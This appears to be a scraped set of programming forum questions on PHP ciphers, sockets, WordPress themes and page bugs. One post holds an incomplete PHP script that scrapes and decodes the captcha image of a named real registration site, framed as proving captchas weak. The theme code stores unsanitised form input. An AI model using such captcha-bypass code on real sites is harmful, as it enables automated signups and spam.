= $map_1[ord($char)]; foreach (range(6, 0, 2) as $shift) { $cache .= $map_2[($byte >> $shift) & 3][mt_rand(0, 63)]; } } return $cache; } function _decode($string, $map_1, $map_2) { $cache = ""; $temp = str_split($string); for ($iter = 0; $iter < strlen($string) / 4; $iter++) { $b12 = $map_1[ord($temp[$iter * 4])] << 6; $b34 = $map_1[ord($temp[$iter * 4 + 1])] << 4; $b56 = $map_1[ord($temp[$iter * 4 + 2])] << 2; $b78 = $map_1[ord($temp[$iter * 4 + 3])]; $cache .= $map_2[$b12 + $b34 + $b56 + $b78]; } return $cache; } /*************************************** This is the public interface for coding. ***************************************/ function encode_string($string, $major, $minor) { if (is_string($string)) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _encode_map_1($major); $map_2 = _encode_map_2($minor); return _encode($string, $map_1, $map_2); } } return FALSE; } function decode_string($string, $major, $minor) { if (is_string($string) && strlen($string) % 4 == 0) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _decode_map_1($minor); $map_2 = _decode_map_2($major); return _decode($string, $map_1, $map_2); } } return FALSE; } ?> This is a sample showing how the code is being used. Hex editors may be of help with the input / output. Example <?php # get and process all of the form data @ $input = htmlspecialchars($_POST["input"]); @ $majorname = htmlspecialchars($_POST["majorname"]); @ $minorname = htmlspecialchars($_POST["minorname"]); @ $majorkey = htmlspecialchars($_POST["majorkey"]); @ $minorkey = htmlspecialchars($_POST["minorkey"]); @ $output = htmlspecialchars($_POST["output"]); # process the submissions by operation # CREATE @ $operation = $_POST["operation"]; if ($operation == "Create") { if (strlen($_POST["majorname"]) == 0) { $majorkey = bin2hex(crypt_major()); } if (strlen($_POST["minorname"]) == 0) { $minorkey = bin2hex(crypt_minor()); } if (strlen($_POST["majorname"]) != 0) { $majorkey = bin2hex(named_major($_POST["majorname"])); } if (strlen($_POST["minorname"]) != 0) { $minorkey = bin2hex(named_minor($_POST["minorname"])); } } # ENCRYPT or DECRYPT function is_hex($char) { if ($char == "0"): return TRUE; elseif ($char == "1"): return TRUE; elseif ($char == "2"): return TRUE; elseif ($char == "3"): return TRUE; elseif ($char == "4"): return TRUE; elseif ($char == "5"): return TRUE; elseif ($char == "6"): return TRUE; elseif ($char == "7"): return TRUE; elseif ($char == "8"): return TRUE; elseif ($char == "9"): return TRUE; elseif ($char == "a"): return TRUE; elseif ($char == "b"): return TRUE; elseif ($char == "c"): return TRUE; elseif ($char == "d"): return TRUE; elseif ($char == "e"): return TRUE; elseif ($char == "f"): return TRUE; else: return FALSE; endif; } function hex2bin($str) { if (strlen($str) % 2 == 0): $string = strtolower($str); else: $string = strtolower("0" . $str); endif; $cache = ""; $temp = str_split($str); for ($index = 0; $index < count($temp) / 2; $index++) { $h1 = $temp[$index * 2]; if (is_hex($h1)) { $h2 = $temp[$index * 2 + 1]; if (is_hex($h2)) { $cache .= chr(hexdec($h1 . $h2)); } else { return FALSE; } } else { return FALSE; } } return $cache; } if ($operation == "Encrypt" || $operation == "Decrypt") { # CHECK FOR ANY ERROR $errors = array(); if (strlen($_POST["input"]) == 0) { $output = ""; } $binmajor = hex2bin($_POST["majorkey"]); if (strlen($_POST["majorkey"]) == 0) { array_push($errors, "There must be a major key."); } elseif ($binmajor == FALSE) { array_push($errors, "The major key must be in hex."); } elseif (_check_major($binmajor) == FALSE) { array_push($errors, "The major key is corrupt."); } $binminor = hex2bin($_POST["minorkey"]); if (strlen($_POST["minorkey"]) == 0) { array_push($errors, "There must be a minor key."); } elseif ($binminor == FALSE) { array_push($errors, "The minor key must be in hex."); } elseif (_check_minor($binminor) == FALSE) { array_push($errors, "The minor key is corrupt."); } if ($_POST["operation"] == "Decrypt") { $bininput = hex2bin(str_replace("\r", "", str_replace("\n", "", $_POST["input"]))); if ($bininput == FALSE) { if (strlen($_POST["input"]) != 0) { array_push($errors, "The input data must be in hex."); } } elseif (strlen($bininput) % 4 != 0) { array_push($errors, "The input data is corrupt."); } } if (count($errors) != 0) { # ERRORS ARE FOUND $output = "ERROR:"; foreach ($errors as $error) { $output .= "\n" . $error; } } elseif (strlen($_POST["input"]) != 0) { # CONTINUE WORKING if ($_POST["operation"] == "Encrypt") { # ENCRYPT $output = substr(chunk_split(bin2hex(encode_string($_POST["input"], $binmajor, $binminor)), 58), 0, -2); } else { # DECRYPT $output = htmlspecialchars(decode_string($bininput, $binmajor, $binminor)); } } } # echo the form with the values filled echo "<P><TEXTAREA class=maintextarea name=input rows=25 cols=25>" . $input . "</TEXTAREA></P>\n"; echo "<P>Major Name:</P>\n"; echo "<P><INPUT id=textbox1 name=majorname value=\"" . $majorname . "\"></P>\n"; echo "<P>Minor Name:</P>\n"; echo "<P><INPUT id=textbox1 name=minorname value=\"" . $minorname . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Create name=operation>\n"; echo "</DIV>\n"; echo "<P>Major Key:</P>\n"; echo "<P><INPUT id=textbox1 name=majorkey value=\"" . $majorkey . "\"></P>\n"; echo "<P>Minor Key:</P>\n"; echo "<P><INPUT id=textbox1 name=minorkey value=\"" . $minorkey . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Encrypt name=operation> \n"; echo "<INPUT class=submit type=submit value=Decrypt name=operation> </DIV>\n"; echo "<P>Result:</P>\n"; echo "<P><TEXTAREA class=maintextarea name=output rows=25 readOnly cols=25>" . $output . "</TEXTAREA></P></DIV></FORM>\n"; ?> What should be editted for better memory efficiency or faster execution?

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  • One url to image, few results

    - by Misiur
    Hi! I'm trying to show programmers that some captchas are too weak, and i'm breaking them. Now i've got something like this: Function: <?php function cbreak($image) { $info = getimagesize($image); $width = $info[0]; $height = $info[1]; $img = imagecreatefromgif($image); $map = array(); for($y=0; $y<$height; $y++) { for($x=0; $x<$width; $x++) { $color = imagecolorsforindex($img, imagecolorat($img, $x, $y)); $map[$x][$y] = ($color['red'] + $color['blue'] + $color['green'] > 750) ? TRUE : FALSE; } } echo '<pre>'; for($y=0; $y<$height; $y++) { for($x=0; $x<$width; $x++) { echo ($map[$x][$y] == TRUE) ? 'X' : '-'; } echo '<br>'; } echo '</pre>'; $sum = ''; for($x=0; $x<$width; $x++) { $count = 0; for($y=0; $y<$height; $y++) { if($map[$x][$y] == TRUE) $count++; } $sum .= ($count == 0) ? 'X' : $count; } $sum = preg_replace('#X+#', 'X', $sum); $sum = trim($sum, 'X'); $letters = explode('X', $sum); $patterns = array( /* Still not here */ ); $token = ''; for($i=0; $i<count($letters); $i++) { $token .= $patterns[$letters[$i]]; } echo $token; } ?> Action: <?php $cl = curl_init("http://www.takeagift.pl/rejestracja"); curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1); $r = curl_exec($cl); $pattern = "/src=[\"'].*[\"']?/i"; preg_match_all($pattern, $r, $images); $c = array(); for($i=0; $i<sizeof($images[0]); $i++) { if(strstr($images[0][$i], 'captcha') !== false) { $c = $images[0][$i]; } } $s1 = substr($c, 0, -8); echo $s1."<br />"; $s = substr($s1, 5, -1); echo $s."<br />"; curl_close($cl); ?> <img src="http://www.takeagift.pl/includes/modules/captcha.php?1270900968" /><br /> <img src="http://www.takeagift.pl/includes/modules/captcha.php?1270900968" /><br /> <img src="http://www.takeagift.pl/includes/modules/captcha.php?1270900968" /><br /> <img src="http://www.takeagift.pl/includes/modules/captcha.php?1270900968" /><br /> <img src="http://www.takeagift.pl/includes/modules/captcha.php?1270900968" /><br /> <?php include('cb.php'); cbreak("http://www.takeagift.pl/includes/modules/captcha.php?1270900968"); ?> Don't look at preg_match i still haven't learned regexp. So as You can see links are same: (captcha.php?1270900968), but the result - not. Help me, please (i'm not doing it to spam this portal)

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  • The whole site is blocked while one page is waiting for blocking operation (PHP, ASP.NET). Why?

    - by artvolk
    Good day! I've found interesting behaviour for both LAMP stack and ASP.NET. The scenario: There is page performing task in 2-3 minutes (making HttpWebRequest for ASP.NET and curl for PHP). While this page is processed all other requests to this virtual host from the same browser are not processed (even if I use different browsers from one machine). I use two pages written in PHP and C#. I've tested with Apache+PHP in both mod_php and fast_cgi modes on Windows and Debian. For ASP.NET I use IIS6 (with dedicated app pool for this site and with default app pool) and IIS7 in integrated mode. I know that it is better to use async calls for such things, but I'm just curious why single page blocks the entire site and not only the thread processing the request? Thanks in advance!

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  • Random <hr/> that I don't know how to get rid of!

    - by Anonymous the Great
    There is no extra <hr/> on the page, and I cannot figure out why it is there. Do you see anything that is causing it? I am sorry for posting the whole thing, I do not know exactly where it starts. The <hr/> is at the top somewhere, but I'm not sure where. <?php print "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <font face="Segoe UI"> <body> <script type="text/javascript"> /*function detectBrowser() { var browser = navigator.appCodeName; if (browser!="Mozilla") {document.location.href="noaccess.php"; alert(browser);} } detectBrowser(); */ </script> <title>Second</title> <link rel="stylesheet" type="text/css" href="allCSS.css"/> <center> <!--<img align="right" src="logo.png" id="headerimg"/>--> <input type="image" id="headerimg" src="logo.png" align="right" onclick="toggleh();"/> <ul align="center" class=""> <div class="menu"> <ul class="nav"> <li><strong><a href="index.php">Home</a></strong> <ul> <li><a href="games.php">Games</a></li> <li><a href="browse.php">Browse</a></li> <li><a href="catalogue.php">Catalogue</a></li> <li><a href="forum.php">Forums</a></li> </ul> </li> <li><strong><a href="games">Games</a></strong> <ul> <li><a href="profile.php">Profile</a></li> <li><a href="settings.php">Settings</a></li> </ul> </li> <li><strong><a href="contact">Contact</a></strong> <ul> <li><a href="contact/index.php">Phone</a></li> <li><a href="contact/index.php">Email</a></li> <li><a href="contact/index.php">Mail</a></li> </ul> </li> </div> </center> </body> <center> <?php echo '<div id="msg">'; include 'message.txt'; echo '</div>'; //include 'hits.txt'; ?> <p> <?php function ChangeText($txt) { $txt='<script type="text/javascript">get();</script>'; echo '<script type="text/javascript">change();</script>'; $filename="message.txt"; $fp=fopen($filename,'w'); fwrite($fp,'<h4 class="hmsg">' . $txt . '</h4>'); fclose($fp); } ?> <script type="text/javascript"> <!-- window.onload=enter; function enter() { //alert("Welcome!"); //hideCMD(); } function get(text) { text=document.getElementById("ta").value; return text; } function toggleh() { var element=document.getElementById("headerimg"); if (element.style.display!="none"){element.style.display="none";} else {element.style.display="";} } function change(text) { text=document.getElementById("ta").value; if (text=="toggle") {toggleh(); return;} if (text=="home") {document.location.href="index.html"; return;} if (text.match("goto:*")) {var loc=text.substring(5,text.length); document.location.href=loc; return;} if (text.match("ban:*")) {var loc=text.substring(4,text.length); document.location.href=loc; return;} document.getElementById("msg").innerHTML='<h2 class="hmsg">'+text+'</h2>'; } function hideCMD() { document.getElementById("cmd").style.display="none"; } //--> </script> </head> <body> <div id="msg"> </div> <p id="cmd"> <hr class="cmdbar"></hr> <input class="panela" type="text" value="" id="ta" maxLength="20"/> <input class="panelb" type="image" src="submit.png" alt="Submit" onclick='change();'/> </p> </center> <p class="hide">HELLO!</p> </font> </html>

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  • Does Socket open another thread? Does it return something?

    - by Roman
    In the client application I call new Socket(serverIP,serverPort). As a result the client application sends a request to the server application to open a socket. Does it start a new thread? I mean which of the following is true? Client application sends a request and immediately starts to execute following commands (not weighting for the answer). Client sends the request and weights for the answer. As soon as the answer is obtained, the client application continues to execute following commands. The second case seems to be more realistic and logical for me. However, I do not understand what happens if the server does not open a socket and it does not say that it does not "want" to open the second (it can happen if the server does not exist or network is broken). What will happen in this case? Will server weight forever? In general it would be nice for the client to know what is the result of its request for the socket. For example I can imagine the following situations: The socket is opened by the server. The server refuses to open a socket. So, server exists, it got the request from the client but it says "no". There is no response from the server. I know that new Socket(serverIP,serverPort) does not "return" this kind of information. But it throws exceptions. One of them is "UnkownHostException". When it is thrown? When the server is not responding for a while (for how long)? ADDED: I just found out that UnknownHostException is thrown to indicate that the IP address of a host could not be determined. So, it is unrelated with the above described situations (server is not responding, server refuses to open a socket).

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  • Can anyone give me a sample java socket programming for doing a peer to peer for 3 systems?

    - by Sadesh Kumar N
    I am doing an university project. I need some sample programs on peer to peer programs in java socket programming. Every where people are telling to add a server socket in the client program. I am in a confusion. Can a single program having server socket and client socket will do or i have to create two programs of one initiating a system and another peer program running thrice to solve the problem. or i need to create three programs for three peer systems. I am not clear on the architecture of building peer to peer programs using java sockets. Can some one help me giving a simple program on how to create a peer to peer connection between three systems. I know how to do a socket program for client server model and clear on the concept. But creating a peer to peer architecture sounds complex for me to understand. I also referred this thread. developing peer to peer in java The person commented second says" To make peer2peer app each client opens server socket too. When client A wishes to connect to client B it just connects to its socket. " Need some more sample and an explanation on how peer to peer java socket program works I dont want any external api like jxta to do this task. I need a clear picture on how it works alone with an example.

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  • Receiving broadcast messages

    - by Prasad
    Hi, I'm trying to receive broadcast messages using C# code in an ISDN network with BRI interface at my end. I see the packets sent to the broadcast ip address (239.255.255.255) on some ports using Comm View tool. But when I try to listen to this IP address, it says the address is not in a valid context. But when I send broadcast messages to 255.255.255.255 on a port, I can receive those messages with the below code.. What could be the problem with this ip address - 239.255.255.255 ? The code I use to listen to broadcast messages is.. UdpClient udp = new UdpClient(); IPEndPoint receiveEndPoint = new IPEndPoint(IPAddress.Any, 8013); // If I use IPAddress.Parse("239.255.255.255") to listen to, // it says "the address is not in a valid // context." udp.Client.Bind(receiveEndPoint); udp.BeginReceive(_Callback, udp); static private void _Callback(IAsyncResult iar) { try { UdpClient client = (UdpClient)iar.AsyncState; client.BeginReceive(_Callback, client); IPEndPoint ipRemote = new IPEndPoint(IPAddress.Any, 8013); byte[] rgb = client.EndReceive(iar, ref ipRemote); Console.WriteLine("Received {0} bytes: \"{1}\"", rgb.Length.ToString(), Encoding.UTF8.GetString(rgb)); } catch (ObjectDisposedException) { Console.WriteLine("closing listening socket"); } catch (Exception exc) { Console.WriteLine("Listening socket error: \"" + exc.Message + "\""); } } There are packets sent to the broadcast ipaddress (239.255.255.255) which I can see in Commview tool, but can't receive them from the code... Can anybody help me out please? Thanking you in advance, Prasad Kancharla.

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  • Syntax error, unexpected '}' wordpress error

    - by Zach Johnson
    Hello I am not a PHP programmer so I have no idea what the problem is here. Basiclly I am trying to use a wordpress theme but I get this error The Parse error: syntax error, unexpected '}' in / home/a5618915/public_html/photo/wp-content/themes/iphoto/functions.php on line 1 I have no Idea what exactly is wrong in the php file. The code for the functions.php is below. If someone could point out whats wrong I would be really grateful. <?php define('THEME_NAME','iphoto'); load_theme_textdomain( THEME_NAME,TEMPLATEPATH .'/languages'); add_custom_background(); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'post-formats', array( 'video')); if ( function_exists('register_nav_menus') ) { register_nav_menus(array('primary' => 'header')); } add_action('wp_ajax_b_ajax_post_action', 'b_ajax_callback'); function b_ajax_callback() { global $wpdb; if(isset($_POST['type']) && $_POST['type'] == 'upload') { $clickedID = $_POST['data']; $filename = $_FILES[$clickedID]; $filename['name'] = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename['name']); $override['test_form'] = false; $override['action'] = 'wp_handle_upload'; $uploaded_file = wp_handle_upload($filename,$override); $upload_tracking[] = $clickedID; update_option($clickedID, $uploaded_file['url'] ); if(!empty($uploaded_file['error'])) {echo 'Upload Error: ' . $uploaded_file['error']; } else { echo $uploaded_file['url']; } } die(); } function post_thumbnail($a){ global $post; $post_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/\<img.+?src="(.+?)".*?\/>/is',$post->post_content,$matches ,PREG_SET_ORDER); $cnt = count( $matches ); if($a==1){ if($cnt>0){ if($cnt>1){ if($cnt>3) $cnt=3; for($i=0;$i<$cnt;$i++){ $post_current = $i+1; $post_img_src = $matches[$i][1]; if($i==0){$post_spans .= '<span class="current">'.$post_current.'</span>';}else{ $post_spans .= '<span>'.$post_current.'</span>'; } $post_imgs .='<img src="'.get_bloginfo('template_url').'/timthumb.php?src='.$post_img_src.'&amp;w=285&amp;zc=1" />'; } $post_img = $post_imgs.'<span class="imgNav">'.$post_spans.'</span>'; }else{ $post_img_src = $matches [0][1]; $post_img = '<img src="'.get_bloginfo('template_url').'/timthumb.php?src='.$post_img_src.'&amp;w=285&amp;zc=1" />'; } echo $post_img; } }else{ return $cnt; } } function post_content_thumbnail($c) { if(is_single()){ $c = preg_replace('/\width="*".+?height="*"/i', '', $c); $s = array('/src="(.+?.(jpg|bmp|png|jepg|gif))".+?/i' => 'src="'.get_bloginfo("template_url").'/timthumb.php?src=$1&amp;h=440&amp;zc=1"'); foreach($s as $p => $r){ $c = preg_replace($p,$r,$c); } return $c; } } add_filter( 'the_content', 'post_content_thumbnail' ); function ajax_post(){ if( isset($_GET['action'])&& $_GET['action'] == 'ajax_post'){ if(isset($_GET['cat'])){ $args = array( 'category_name' => $_GET['cat'], 'paged' => $_GET['pag'] ); }else if(isset($_GET['pag'])){ $args = array( 'paged' => $_GET['pag'] ); } query_posts($args); if(have_posts()){while (have_posts()):the_post();?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile;} die(); }else{return;} } add_action('init', 'ajax_post'); function pagenavi( $p = 2 ) { if ( is_singular() ) return; global $wp_query,$paged; $max_page = $wp_query->max_num_pages; if ( $max_page == 1 ){ echo '<span id="post-current">1</span> / <span id="post-count">1</span>'; return; } if ( empty( $paged ) ) $paged = 1; if ( $paged >1 ) echo "<a id='prev' title='Prev' href='",esc_html( get_pagenum_link( $paged -1 ) ),"'>&lt;&lt;</a> "; echo '<span id="post-current">'.$paged .'</span> / <span id="post-count">'.$max_page .'</span>'; if ( $paged <$max_page ) echo "<a id='next' title='Next' href='",esc_html( get_pagenum_link( $paged +1) ),"'>&gt;&gt;</a> "; } function iphoto_comment($comment,$args,$depth) { $GLOBALS['comment'] = $comment; ;echo ' <li ';comment_class();;echo ' id="li-comment-';comment_ID() ;echo '" > <div id="comment-';comment_ID();;echo '" class="comment-body"> <div class="commentmeta">';echo get_avatar( $comment->comment_author_email,$size = '48');;echo '</div> ';if ($comment->comment_approved == '0') : ;echo ' <em>';_e('Your comment is awaiting moderation.') ;echo '</em><br /> ';endif;;echo ' <div class="commentmetadata">&nbsp;-&nbsp;';printf(__('%1$s %2$s'),get_comment_date('Y.n.d'),get_comment_time('G:i'));;echo '</div> <div class="reply">';comment_reply_link(array_merge( $args,array('depth'=>$depth,'max_depth'=>$args['max_depth'],'reply_text'=>__('Reply')))) ;echo '</div> <div class="vcard">';printf(__('%s'),get_comment_author_link()) ;echo '</div> ';comment_text() ;echo ' </div> '; } add_action('admin_init', 'iphoto_init'); function iphoto_init() { if (isset($_GET['page']) && $_GET['page'] == 'functions.php') { $dir = get_bloginfo('template_directory'); wp_enqueue_script('adminjquery', $dir . '/includes/admin.js', false, '1.0.0', false); wp_enqueue_style('admincss', $dir . '/includes/admin.css', false, '1.0.0', 'screen'); } } add_action('admin_menu','iphoto_page'); function iphoto_page (){ if ( count($_POST) >0 &&isset($_POST['iphoto_settings']) ){ $options = array ('keywords','description','analytics','lib','views','noajax','animate','phzoom','copyright'); foreach ( $options as $opt ){ delete_option ( 'iphoto_'.$opt,$_POST[$opt] ); add_option ( 'iphoto_'.$opt,$_POST[$opt] ); } } add_theme_page('iPhoto '.__('Theme Options',THEME_NAME),__('Theme Options',THEME_NAME),'edit_themes',basename(__FILE__),'iphoto_settings'); } function iphoto_settings(){?> <div class="wrap"> <div> <h2><?php _e( 'iPhoto Theme Options<span>Version: ',THEME_NAME);?><?php $theme_data=get_theme_data(TEMPLATEPATH . '/style.css'); echo $theme_data['Version'];?></span></h2> </div> <div class="clear"></div> <form method="post" action=""> <div id="theme-Option"> <div id="theme-menu"> <span class="m1"><?php _e( 'jQuery Effect',THEME_NAME);?></span> <span class="m2"><?php _e( 'Relative Plugins',THEME_NAME);?></span> <span class="m3"><?php _e( 'Website Information',THEME_NAME);?></span> <span class="m4"><?php _e( 'Analytics Code',THEME_NAME);?></span> <span class="m5"><?php _e( 'Footer Copyright',THEME_NAME);?></span> <span class="m6"><?php _e( 'iPhoto Theme Declare',THEME_NAME);?></span> <div class="clear"></div> </div> <div id="theme-content"> <ul> <li> <tr><td> <em><?php _e( 'iPhoto use jquery 1.4.4 which contained in this theme, you can also use the Google one instead.',THEME_NAME);?></em><br/> <label><input name="lib" type="checkbox" id="lib" value="1" <?php if (get_option('iphoto_lib')!='') echo 'checked="checked"' ;?>/><?php _e( 'Load the jQuery Library supported by Google',THEME_NAME);?></label><br/><br/> </td></tr> <tr><td> <em><?php _e( 'Index page infinite loading posts.',THEME_NAME);?></em><br/> <label><input name="noajax" type="checkbox" id="noajax" value="1" <?php if (get_option('iphoto_noajax')!='') echo 'checked="checked"' ;?>/><?php _e( 'Deactivate the Infinite loading posts',THEME_NAME);?></label><br/><br/> </td></tr> <tr><td> <em><?php _e( '<strong>Animation of relayout elements</strong>',THEME_NAME);?></em><br /> <input name="animate" type="checkbox" id="animate" value="1" <?php if (get_option('iphoto_animate')!='') echo 'checked="checked"';?>/><?php _e( 'Deactivate animation effect on index page',THEME_NAME);?> </td></tr> </li> <li> <tr><td> <em><?php _e( 'WP-PostViews, Enables you to display how many times a post/page had been viewed.',THEME_NAME);?></em><br/> <label><input name="views" type="checkbox" id="views" value="1" <?php if (get_option('iphoto_views')!='') echo 'checked="checked"' ?>/><?php _e( 'Activate WP-PostViews',THEME_NAME);?></label><br/><br/> </td></tr> </li> <li> <tr><td> <?php _e( '<em>Keywords, separate by English commas. like MuFeng, Computer, Software</em>',THEME_NAME);?><br/> <textarea name="keywords" id="keywords" rows="1" cols="70" style="font-size:11px;width:100%;"><?php echo get_option('iphoto_keywords');?></textarea><br/> </td></tr> <tr><td> <?php _e( '<em>Description, explain what\'s this site about. like MuFeng, Breathing the wind</em>',THEME_NAME);?><br/> <textarea name="description" id="description" rows="3" cols="70" style="font-size:11px;width:100%;"><?php echo get_option('iphoto_description');?></textarea> </td></tr> </li> <li> <tr><td> <?php _e( 'You can get your Google Analytics code <a target="_blank" href="https://www.google.com/analytics/settings/check_status_profile_handler">here</a>.',THEME_NAME);?></label><br> <textarea name="analytics" id="analytics" rows="5" cols="70" style="font-size:11px;width:100%;"><?php echo stripslashes(get_option('iphoto_analytics'));?></textarea> </td></tr> </li> <li> <tr><td> <textarea name="copyright" id="copyright" rows="5" cols="70" style="font-size:11px;width:100%;"><?php if(stripslashes(get_option('iphoto_copyright'))!=''){echo stripslashes(get_option('iphoto_copyright'));}else{echo 'Copyright &copy; '.date('Y').' '.'<a href="'.home_url( '/').'" title="'.esc_attr( get_bloginfo( 'name') ).'">'.esc_attr( get_bloginfo( 'name') ).'</a> All rights reserved'; };?></textarea> <br/><em><?php _e( '<b>Preview</b>',THEME_NAME);?><span> : </span><span><?php if(stripslashes(get_option('iphoto_copyright'))!=''){echo stripslashes(get_option('iphoto_copyright'));}else{echo 'Copyright &copy; '.date('Y').' '.'<a href="'.home_url( '/').'" title="'.esc_attr( get_bloginfo( 'name') ).'">'.esc_attr( get_bloginfo( 'name') ).'</a> All rights reserved'; };?></span></em> </td></tr> </li> <li> <tr><td> <p><?php _e('iPhoto is created, developed and maintained by <a href="http://mufeng.me/">MuFeng</a>. If you like iPhoto, please donate. It will help in developing new features and versions.',THEME_NAME);?><?php _e('Alipay',THEME_NAME);?>:</strong> <a href="http://www.alipay.com" target="_blank" title="Alipay">[email protected]</a></p> <h3 style="color:#333" id="introduce"><?php _e( 'Introduction',THEME_NAME);?></h3> <p style="text-indent: 2em;margin:10px 0;"><?php _e( 'iPhoto is evolved from one theme of Tumblr and turned it into a photo theme which can be used at wordpress.',THEME_NAME);?></p> <h3 style="color:#333"><?php _e( 'Published Address',THEME_NAME);?></h3> <p id="release" style="text-indent: 2em;margin:10px 0;"><a href="http://mufeng.me/wordpress-theme-iphoto.html" target="_blank">http://mufeng.me/wordpress-theme-iphoto.html</a></p> <h3 style="color:#333"><?php _e( 'Preview Address',THEME_NAME);?></h3> <p id="preview" style="text-indent: 2em;margin:10px 0;"><a href="http://mufeng.me/photo/" target="_blank">http://mufeng.me/photo/</a></p> <h3 style="color:#333" id="bug"><?php _e( 'Report Bugs',THEME_NAME);?></h3> <p style="text-indent: 2em;margin:10px 0;"><?php _e( 'Weibo <a href="http://weibo.com/meapo" target="_blank">@mufeng.me</a> or leave a message at <a href="http://mufeng.me" target="_blank">http://mufeng.me</a>?',THEME_NAME);?></p> </td></tr> </li> </ul> </div> </div> <p class="submit"> <input type="submit" name="Submit" class="button-primary" value="<?php _e( 'Save Options',THEME_NAME);?>" /> <input type="hidden" name="iphoto_settings" value="save" style="display:none;" /> </p> </form> </div> <?php } ?>

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  • Return value from Object match

    - by Hito_kun
    I'm, by no means, JS fluent, so forgive me if im asking for some really basic stuff, but I've not being able to find a proper answer to my question. Im writting my first Node.js (plus Extra Framework and Socket.io) app and Im having some fun setting up the server side of a FB-like messenger (surprise!!!). So, let's say I have this data structure to store online users(This is a JSON Array, but I'm not sure it is the best way to do it or should I go with Javascript Objects): [ { "site": 45, "users": [ { "idUser": 5, "idSocket": "qwe87r7w8qwe", "name": "Carlos Ray Norris" }, { "idUser": 6, "idSocket": "v8d9d0fgfs7d", "name": "John Connor" } ] }, { "site": 48, "users": [ { "idUser": 22, "idSocket": "qwe87r7w8qwe", "name": "David Bowie" }, { "idUser": 23, "idSocket": "v8d9d0fgfs7d", "name": "Barack H. Obama" } ] } ] What I want to do is to search in the array for x value given y. In this case, retrieving the idSocket knowing the idUser WITHOUT having to run through the array values. So I have basically 2 questions: first, what would be the proper way to store users online? and secondly, how to find values matching with the values I already know (find the idSocket that has a given idUser). I would like a pure JS approach(or using some of the tools given by Node, Socket.io or Express), but if that's not possible then I can look for some JQuery.

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  • Running response time tests on php code - how much is 7.2E-5 microseconds?

    - by Ali
    Hi guys I'm using microtime() function of php to tell how long certain snippets of code take to run I do this by taking the time before and after the snippet and subtracting them using microtime function. I got the following results though for the different snippets: 1 - 0.022976 2 - 0.003656 3 - -0.196361 4- 0.006563 5- 7.2E-5 6- 0.847695 7- 0.005092 8- 7.6E-5 9- 0.08024 The first numbers represent the snippt and the following the time taken... I've forgotten whatever I learnt back in College on numerical methods :( - how big is 7.2E-5 microseconds?

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